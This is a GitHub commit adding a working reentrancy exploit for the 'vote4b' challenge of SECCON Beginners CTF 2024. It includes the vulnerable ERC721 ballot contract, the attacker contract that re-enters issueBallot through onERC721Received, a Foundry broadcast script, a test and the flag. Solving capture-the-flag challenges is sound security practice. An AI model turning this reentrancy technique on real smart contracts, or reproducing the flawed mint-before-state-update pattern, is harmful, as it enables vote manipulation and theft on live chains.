Skip to content

Commit

Permalink
add exploit for vote4b in seccon beginners 2024
Browse files Browse the repository at this point in the history
  • Loading branch information
minaminao committed Jun 16, 2024
1 parent 25dc772 commit 1343350
Show file tree
Hide file tree
Showing 5 changed files with 130 additions and 0 deletions.
19 changes: 19 additions & 0 deletions src/SECCONBeginnersCTF2024/vote4b/Exploit.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Script, console} from "forge-std/Script.sol";
import {Exploit} from "./Exploit.sol";

// forge script src/SECCONBeginnersCTF2024/vote4b/Exploit.s.sol:ExploitScript -s "run(address)" $INSTANCE_ADDR --private-key $PRIVATE_KEY -vvvvv --broadcast

contract ExploitScript is Script {
function run(address setupAddr) public {
vm.startBroadcast();

new Exploit(setupAddr).exploit();

vm.stopBroadcast();
}
}

// flag: ctf4b{Re-3n7r4ncyyYYYyyyyYYYYyYYYyyYyYY!}
30 changes: 30 additions & 0 deletions src/SECCONBeginnersCTF2024/vote4b/Exploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Setup} from "./challenge/Setup.sol";

contract Exploit {
Setup setup;
uint256 count = 0;

constructor(address setupAddr) {
setup = Setup(setupAddr);
setup.register();
}

function exploit() public {
setup.ballot().issueBallot();

for (uint256 i = 0; i < count; i++) {
setup.ballot().voteForCandidate(i + 1, address(setup));
}
}

function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
count += 1;
if (count < 10) {
setup.ballot().issueBallot();
}
return this.onERC721Received.selector;
}
}
25 changes: 25 additions & 0 deletions src/SECCONBeginnersCTF2024/vote4b/Exploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {Setup} from "./challenge/Setup.sol";
import {Exploit} from "./Exploit.sol";

contract ExploitTest is Test {
address playerAddr = makeAddr("player");
Setup setup;

function setUp() public {
setup = new Setup();
vm.deal(playerAddr, 1 ether);
}

function test() public {
vm.startPrank(playerAddr, playerAddr);

new Exploit(address(setup)).exploit();

vm.stopPrank();
require(setup.isSolved(), "Not solved");
}
}
33 changes: 33 additions & 0 deletions src/SECCONBeginnersCTF2024/vote4b/challenge/Ballot.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract Ballot is ERC721, Ownable {
uint256 public ballotId;
mapping(address => bool) private isResident;
mapping(address => bool) private isIssued;
mapping(address => uint256) public votes;

constructor(address owner) ERC721("BeginnersBallot", "BB") Ownable() {}

function registerAsResident(address person) public onlyOwner {
isResident[person] = true;
}

function issueBallot() public returns (uint256) {
require(isResident[msg.sender], "Not a resident");
require(!isIssued[msg.sender], "Already issued");
ballotId += 1;
_safeMint(msg.sender, ballotId);
isIssued[msg.sender] = true;
return ballotId;
}

function voteForCandidate(uint256 id, address candidate) public {
require(ownerOf(id) == msg.sender, "Not your ballot");
votes[candidate] += 1;
_burn(id);
}
}
23 changes: 23 additions & 0 deletions src/SECCONBeginnersCTF2024/vote4b/challenge/Setup.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Ballot} from "./Ballot.sol";

contract Setup {
bool public registered;
Ballot public ballot;

constructor() {
ballot = new Ballot(address(this));
}

function register() public {
require(!registered, "Already registered");
registered = true;
ballot.registerAsResident(msg.sender);
}

function isSolved() public view returns (bool) {
return ballot.votes(address(this)) >= 10;
}
}

0 comments on commit 1343350

Please sign in to comment.